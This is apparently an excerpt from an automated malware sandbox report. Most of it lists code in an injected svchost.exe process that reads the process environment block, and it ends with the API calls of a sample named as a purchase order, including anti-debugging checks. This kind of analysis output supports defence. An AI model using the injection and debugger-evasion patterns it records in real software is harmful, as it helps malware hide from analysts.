            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03404500 mov eax, dword ptr fs:[00000030h]2_2_03404500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03404500 mov eax, dword ptr fs:[00000030h]2_2_03404500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03404500 mov eax, dword ptr fs:[00000030h]2_2_03404500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03404500 mov eax, dword ptr fs:[00000030h]2_2_03404500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03404500 mov eax, dword ptr fs:[00000030h]2_2_03404500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03404500 mov eax, dword ptr fs:[00000030h]2_2_03404500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03404500 mov eax, dword ptr fs:[00000030h]2_2_03404500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336656A mov eax, dword ptr fs:[00000030h]2_2_0336656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336656A mov eax, dword ptr fs:[00000030h]2_2_0336656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336656A mov eax, dword ptr fs:[00000030h]2_2_0336656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03338550 mov eax, dword ptr fs:[00000030h]2_2_03338550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03338550 mov eax, dword ptr fs:[00000030h]2_2_03338550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033545B1 mov eax, dword ptr fs:[00000030h]2_2_033545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033545B1 mov eax, dword ptr fs:[00000030h]2_2_033545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B05A7 mov eax, dword ptr fs:[00000030h]2_2_033B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B05A7 mov eax, dword ptr fs:[00000030h]2_2_033B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B05A7 mov eax, dword ptr fs:[00000030h]2_2_033B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336E59C mov eax, dword ptr fs:[00000030h]2_2_0336E59C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03332582 mov eax, dword ptr fs:[00000030h]2_2_03332582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03332582 mov ecx, dword ptr fs:[00000030h]2_2_03332582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03364588 mov eax, dword ptr fs:[00000030h]2_2_03364588
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335E5E7 mov eax, dword ptr fs:[00000030h]2_2_0335E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335E5E7 mov eax, dword ptr fs:[00000030h]2_2_0335E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335E5E7 mov eax, dword ptr fs:[00000030h]2_2_0335E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335E5E7 mov eax, dword ptr fs:[00000030h]2_2_0335E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335E5E7 mov eax, dword ptr fs:[00000030h]2_2_0335E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335E5E7 mov eax, dword ptr fs:[00000030h]2_2_0335E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335E5E7 mov eax, dword ptr fs:[00000030h]2_2_0335E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335E5E7 mov eax, dword ptr fs:[00000030h]2_2_0335E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033325E0 mov eax, dword ptr fs:[00000030h]2_2_033325E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336C5ED mov eax, dword ptr fs:[00000030h]2_2_0336C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336C5ED mov eax, dword ptr fs:[00000030h]2_2_0336C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033365D0 mov eax, dword ptr fs:[00000030h]2_2_033365D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336A5D0 mov eax, dword ptr fs:[00000030h]2_2_0336A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336A5D0 mov eax, dword ptr fs:[00000030h]2_2_0336A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336E5CF mov eax, dword ptr fs:[00000030h]2_2_0336E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336E5CF mov eax, dword ptr fs:[00000030h]2_2_0336E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336A430 mov eax, dword ptr fs:[00000030h]2_2_0336A430
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332E420 mov eax, dword ptr fs:[00000030h]2_2_0332E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332E420 mov eax, dword ptr fs:[00000030h]2_2_0332E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332E420 mov eax, dword ptr fs:[00000030h]2_2_0332E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332C427 mov eax, dword ptr fs:[00000030h]2_2_0332C427
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B6420 mov eax, dword ptr fs:[00000030h]2_2_033B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B6420 mov eax, dword ptr fs:[00000030h]2_2_033B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B6420 mov eax, dword ptr fs:[00000030h]2_2_033B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B6420 mov eax, dword ptr fs:[00000030h]2_2_033B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B6420 mov eax, dword ptr fs:[00000030h]2_2_033B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B6420 mov eax, dword ptr fs:[00000030h]2_2_033B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B6420 mov eax, dword ptr fs:[00000030h]2_2_033B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03368402 mov eax, dword ptr fs:[00000030h]2_2_03368402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03368402 mov eax, dword ptr fs:[00000030h]2_2_03368402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03368402 mov eax, dword ptr fs:[00000030h]2_2_03368402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335A470 mov eax, dword ptr fs:[00000030h]2_2_0335A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335A470 mov eax, dword ptr fs:[00000030h]2_2_0335A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335A470 mov eax, dword ptr fs:[00000030h]2_2_0335A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033BC460 mov ecx, dword ptr fs:[00000030h]2_2_033BC460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033EA456 mov eax, dword ptr fs:[00000030h]2_2_033EA456
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332645D mov eax, dword ptr fs:[00000030h]2_2_0332645D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335245A mov eax, dword ptr fs:[00000030h]2_2_0335245A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336E443 mov eax, dword ptr fs:[00000030h]2_2_0336E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336E443 mov eax, dword ptr fs:[00000030h]2_2_0336E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336E443 mov eax, dword ptr fs:[00000030h]2_2_0336E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336E443 mov eax, dword ptr fs:[00000030h]2_2_0336E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336E443 mov eax, dword ptr fs:[00000030h]2_2_0336E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336E443 mov eax, dword ptr fs:[00000030h]2_2_0336E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336E443 mov eax, dword ptr fs:[00000030h]2_2_0336E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336E443 mov eax, dword ptr fs:[00000030h]2_2_0336E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033644B0 mov ecx, dword ptr fs:[00000030h]2_2_033644B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033BA4B0 mov eax, dword ptr fs:[00000030h]2_2_033BA4B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033364AB mov eax, dword ptr fs:[00000030h]2_2_033364AB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033EA49A mov eax, dword ptr fs:[00000030h]2_2_033EA49A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033304E5 mov ecx, dword ptr fs:[00000030h]2_2_033304E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335EB20 mov eax, dword ptr fs:[00000030h]2_2_0335EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335EB20 mov eax, dword ptr fs:[00000030h]2_2_0335EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F8B28 mov eax, dword ptr fs:[00000030h]2_2_033F8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F8B28 mov eax, dword ptr fs:[00000030h]2_2_033F8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03402B57 mov eax, dword ptr fs:[00000030h]2_2_03402B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03402B57 mov eax, dword ptr fs:[00000030h]2_2_03402B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03402B57 mov eax, dword ptr fs:[00000030h]2_2_03402B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03402B57 mov eax, dword ptr fs:[00000030h]2_2_03402B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AEB1D mov eax, dword ptr fs:[00000030h]2_2_033AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AEB1D mov eax, dword ptr fs:[00000030h]2_2_033AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AEB1D mov eax, dword ptr fs:[00000030h]2_2_033AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AEB1D mov eax, dword ptr fs:[00000030h]2_2_033AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AEB1D mov eax, dword ptr fs:[00000030h]2_2_033AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AEB1D mov eax, dword ptr fs:[00000030h]2_2_033AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AEB1D mov eax, dword ptr fs:[00000030h]2_2_033AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AEB1D mov eax, dword ptr fs:[00000030h]2_2_033AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AEB1D mov eax, dword ptr fs:[00000030h]2_2_033AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03404B00 mov eax, dword ptr fs:[00000030h]2_2_03404B00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0332CB7E mov eax, dword ptr fs:[00000030h]2_2_0332CB7E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03328B50 mov eax, dword ptr fs:[00000030h]2_2_03328B50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DEB50 mov eax, dword ptr fs:[00000030h]2_2_033DEB50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E4B4B mov eax, dword ptr fs:[00000030h]2_2_033E4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E4B4B mov eax, dword ptr fs:[00000030h]2_2_033E4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C6B40 mov eax, dword ptr fs:[00000030h]2_2_033C6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C6B40 mov eax, dword ptr fs:[00000030h]2_2_033C6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033FAB40 mov eax, dword ptr fs:[00000030h]2_2_033FAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D8B42 mov eax, dword ptr fs:[00000030h]2_2_033D8B42
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340BBE mov eax, dword ptr fs:[00000030h]2_2_03340BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340BBE mov eax, dword ptr fs:[00000030h]2_2_03340BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E4BB0 mov eax, dword ptr fs:[00000030h]2_2_033E4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E4BB0 mov eax, dword ptr fs:[00000030h]2_2_033E4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03338BF0 mov eax, dword ptr fs:[00000030h]2_2_03338BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03338BF0 mov eax, dword ptr fs:[00000030h]2_2_03338BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03338BF0 mov eax, dword ptr fs:[00000030h]2_2_03338BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335EBFC mov eax, dword ptr fs:[00000030h]2_2_0335EBFC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033BCBF0 mov eax, dword ptr fs:[00000030h]2_2_033BCBF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DEBD0 mov eax, dword ptr fs:[00000030h]2_2_033DEBD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03350BCB mov eax, dword ptr fs:[00000030h]2_2_03350BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03350BCB mov eax, dword ptr fs:[00000030h]2_2_03350BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03350BCB mov eax, dword ptr fs:[00000030h]2_2_03350BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03330BCD mov eax, dword ptr fs:[00000030h]2_2_03330BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03330BCD mov eax, dword ptr fs:[00000030h]2_2_03330BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03330BCD mov eax, dword ptr fs:[00000030h]2_2_03330BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03354A35 mov eax, dword ptr fs:[00000030h]2_2_03354A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03354A35 mov eax, dword ptr fs:[00000030h]2_2_03354A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336CA38 mov eax, dword ptr fs:[00000030h]2_2_0336CA38
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336CA24 mov eax, dword ptr fs:[00000030h]2_2_0336CA24
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335EA2E mov eax, dword ptr fs:[00000030h]2_2_0335EA2E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033BCA11 mov eax, dword ptr fs:[00000030h]2_2_033BCA11
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033ACA72 mov eax, dword ptr fs:[00000030h]2_2_033ACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033ACA72 mov eax, dword ptr fs:[00000030h]2_2_033ACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336CA6F mov eax, dword ptr fs:[00000030h]2_2_0336CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336CA6F mov eax, dword ptr fs:[00000030h]2_2_0336CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336CA6F mov eax, dword ptr fs:[00000030h]2_2_0336CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DEA60 mov eax, dword ptr fs:[00000030h]2_2_033DEA60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03336A50 mov eax, dword ptr fs:[00000030h]2_2_03336A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03336A50 mov eax, dword ptr fs:[00000030h]2_2_03336A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03336A50 mov eax, dword ptr fs:[00000030h]2_2_03336A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03336A50 mov eax, dword ptr fs:[00000030h]2_2_03336A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03336A50 mov eax, dword ptr fs:[00000030h]2_2_03336A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03336A50 mov eax, dword ptr fs:[00000030h]2_2_03336A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03336A50 mov eax, dword ptr fs:[00000030h]2_2_03336A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340A5B mov eax, dword ptr fs:[00000030h]2_2_03340A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03340A5B mov eax, dword ptr fs:[00000030h]2_2_03340A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03338AA0 mov eax, dword ptr fs:[00000030h]2_2_03338AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03338AA0 mov eax, dword ptr fs:[00000030h]2_2_03338AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03386AA4 mov eax, dword ptr fs:[00000030h]2_2_03386AA4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03368A90 mov edx, dword ptr fs:[00000030h]2_2_03368A90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333EA80 mov eax, dword ptr fs:[00000030h]2_2_0333EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333EA80 mov eax, dword ptr fs:[00000030h]2_2_0333EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333EA80 mov eax, dword ptr fs:[00000030h]2_2_0333EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333EA80 mov eax, dword ptr fs:[00000030h]2_2_0333EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333EA80 mov eax, dword ptr fs:[00000030h]2_2_0333EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333EA80 mov eax, dword ptr fs:[00000030h]2_2_0333EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333EA80 mov eax, dword ptr fs:[00000030h]2_2_0333EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333EA80 mov eax, dword ptr fs:[00000030h]2_2_0333EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333EA80 mov eax, dword ptr fs:[00000030h]2_2_0333EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03404A80 mov eax, dword ptr fs:[00000030h]2_2_03404A80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336AAEE mov eax, dword ptr fs:[00000030h]2_2_0336AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336AAEE mov eax, dword ptr fs:[00000030h]2_2_0336AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03330AD0 mov eax, dword ptr fs:[00000030h]2_2_03330AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03364AD0 mov eax, dword ptr fs:[00000030h]2_2_03364AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03364AD0 mov eax, dword ptr fs:[00000030h]2_2_03364AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03386ACC mov eax, dword ptr fs:[00000030h]2_2_03386ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03386ACC mov eax, dword ptr fs:[00000030h]2_2_03386ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03386ACC mov eax, dword ptr fs:[00000030h]2_2_03386ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03404940 mov eax, dword ptr fs:[00000030h]2_2_03404940
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B892A mov eax, dword ptr fs:[00000030h]2_2_033B892A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C892B mov eax, dword ptr fs:[00000030h]2_2_033C892B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033BC912 mov eax, dword ptr fs:[00000030h]2_2_033BC912
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03328918 mov eax, dword ptr fs:[00000030h]2_2_03328918
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03328918 mov eax, dword ptr fs:[00000030h]2_2_03328918
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AE908 mov eax, dword ptr fs:[00000030h]2_2_033AE908
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033AE908 mov eax, dword ptr fs:[00000030h]2_2_033AE908
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D4978 mov eax, dword ptr fs:[00000030h]2_2_033D4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D4978 mov eax, dword ptr fs:[00000030h]2_2_033D4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033BC97C mov eax, dword ptr fs:[00000030h]2_2_033BC97C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03356962 mov eax, dword ptr fs:[00000030h]2_2_03356962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03356962 mov eax, dword ptr fs:[00000030h]2_2_03356962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03356962 mov eax, dword ptr fs:[00000030h]2_2_03356962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0337096E mov eax, dword ptr fs:[00000030h]2_2_0337096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0337096E mov edx, dword ptr fs:[00000030h]2_2_0337096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0337096E mov eax, dword ptr fs:[00000030h]2_2_0337096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B0946 mov eax, dword ptr fs:[00000030h]2_2_033B0946
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B89B3 mov esi, dword ptr fs:[00000030h]2_2_033B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B89B3 mov eax, dword ptr fs:[00000030h]2_2_033B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033B89B3 mov eax, dword ptr fs:[00000030h]2_2_033B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033429A0 mov eax, dword ptr fs:[00000030h]2_2_033429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033429A0 mov eax, dword ptr fs:[00000030h]2_2_033429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033429A0 mov eax, dword ptr fs:[00000030h]2_2_033429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033429A0 mov eax, dword ptr fs:[00000030h]2_2_033429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033429A0 mov eax, dword ptr fs:[00000030h]2_2_033429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033429A0 mov eax, dword ptr fs:[00000030h]2_2_033429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033429A0 mov eax, dword ptr fs:[00000030h]2_2_033429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033429A0 mov eax, dword ptr fs:[00000030h]2_2_033429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033429A0 mov eax, dword ptr fs:[00000030h]2_2_033429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033429A0 mov eax, dword ptr fs:[00000030h]2_2_033429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033429A0 mov eax, dword ptr fs:[00000030h]2_2_033429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033429A0 mov eax, dword ptr fs:[00000030h]2_2_033429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033429A0 mov eax, dword ptr fs:[00000030h]2_2_033429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033309AD mov eax, dword ptr fs:[00000030h]2_2_033309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033309AD mov eax, dword ptr fs:[00000030h]2_2_033309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033629F9 mov eax, dword ptr fs:[00000030h]2_2_033629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033629F9 mov eax, dword ptr fs:[00000030h]2_2_033629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033BE9E0 mov eax, dword ptr fs:[00000030h]2_2_033BE9E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A9D0 mov eax, dword ptr fs:[00000030h]2_2_0333A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A9D0 mov eax, dword ptr fs:[00000030h]2_2_0333A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A9D0 mov eax, dword ptr fs:[00000030h]2_2_0333A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A9D0 mov eax, dword ptr fs:[00000030h]2_2_0333A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A9D0 mov eax, dword ptr fs:[00000030h]2_2_0333A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333A9D0 mov eax, dword ptr fs:[00000030h]2_2_0333A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033649D0 mov eax, dword ptr fs:[00000030h]2_2_033649D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033FA9D3 mov eax, dword ptr fs:[00000030h]2_2_033FA9D3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C69C0 mov eax, dword ptr fs:[00000030h]2_2_033C69C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03352835 mov eax, dword ptr fs:[00000030h]2_2_03352835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03352835 mov eax, dword ptr fs:[00000030h]2_2_03352835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03352835 mov eax, dword ptr fs:[00000030h]2_2_03352835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03352835 mov ecx, dword ptr fs:[00000030h]2_2_03352835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03352835 mov eax, dword ptr fs:[00000030h]2_2_03352835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03352835 mov eax, dword ptr fs:[00000030h]2_2_03352835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336A830 mov eax, dword ptr fs:[00000030h]2_2_0336A830
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D483A mov eax, dword ptr fs:[00000030h]2_2_033D483A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D483A mov eax, dword ptr fs:[00000030h]2_2_033D483A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033BC810 mov eax, dword ptr fs:[00000030h]2_2_033BC810
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033BE872 mov eax, dword ptr fs:[00000030h]2_2_033BE872
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,0_2_00426DA1
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0042202E SetUnhandledExceptionFilter,0_2_0042202E
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_004230F5
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00417D93
